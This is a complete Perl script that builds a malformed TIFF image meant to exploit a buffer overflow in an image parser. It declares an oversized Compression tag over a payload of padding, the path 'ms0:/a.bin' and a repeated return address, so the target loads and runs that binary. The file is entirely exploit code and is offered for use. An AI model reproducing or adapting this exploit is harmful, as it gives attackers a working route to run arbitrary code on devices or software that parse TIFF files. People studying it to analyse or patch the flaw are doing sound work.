#!/usr/bin/perl


$off=78;

$over=" "x30;
$over.="ms0:/a.bin\x00";
$over.="\x00"x7;
$over.=pack("L",0x04075d38)x3;



# header

print "II";		# byte order intel
print "\x2a\x00";	# version
print pack("L",8);	# IFD offset

# IFD

print pack("S",6);	# directory entry count

#ImageWidth tag
print pack("S",256);	# tag=ImageWidth
print pack("S",3);	# type=short
print pack("L",1);	# length
print pack("L",1);	# value/offset

#ImageLength tag
print pack("S",257);	# tag=ImageLength
print pack("S",3);	# type=short
print pack("L",1);	# length
print pack("L",1);	# value/offset

#BitsPerSample tag
#print pack("S",258);	# tag=BitsPerSample
print pack("S",259);	# tag=Compression
print pack("S",3);	# type=short
#print pack("L",0x72);	# length
print pack("L",int(length($over)/2));
print pack("L",$off+4);	# value/offset

#StripOffsets tag
print pack("S",273);	# tag=StripOffsets
print pack("S",3);	# type=short
print pack("L",1);	# length
print pack("L",$off);	# value/offset

#StripByteCounts tag
print pack("S",279);	# tag=StripByteCounts
print pack("S",3);	# type=short
print pack("L",1);	# length
print pack("L",1);	# value/offset

print pack("S",256);
print pack("S",3);
print pack("L",1);
print pack("L",0);	# invalid tag to stop further tiff processing

print pack("L",0);	# ei seuraavaa IFD:tä
print pack("L",-1);	# StripOffsets

print $over;
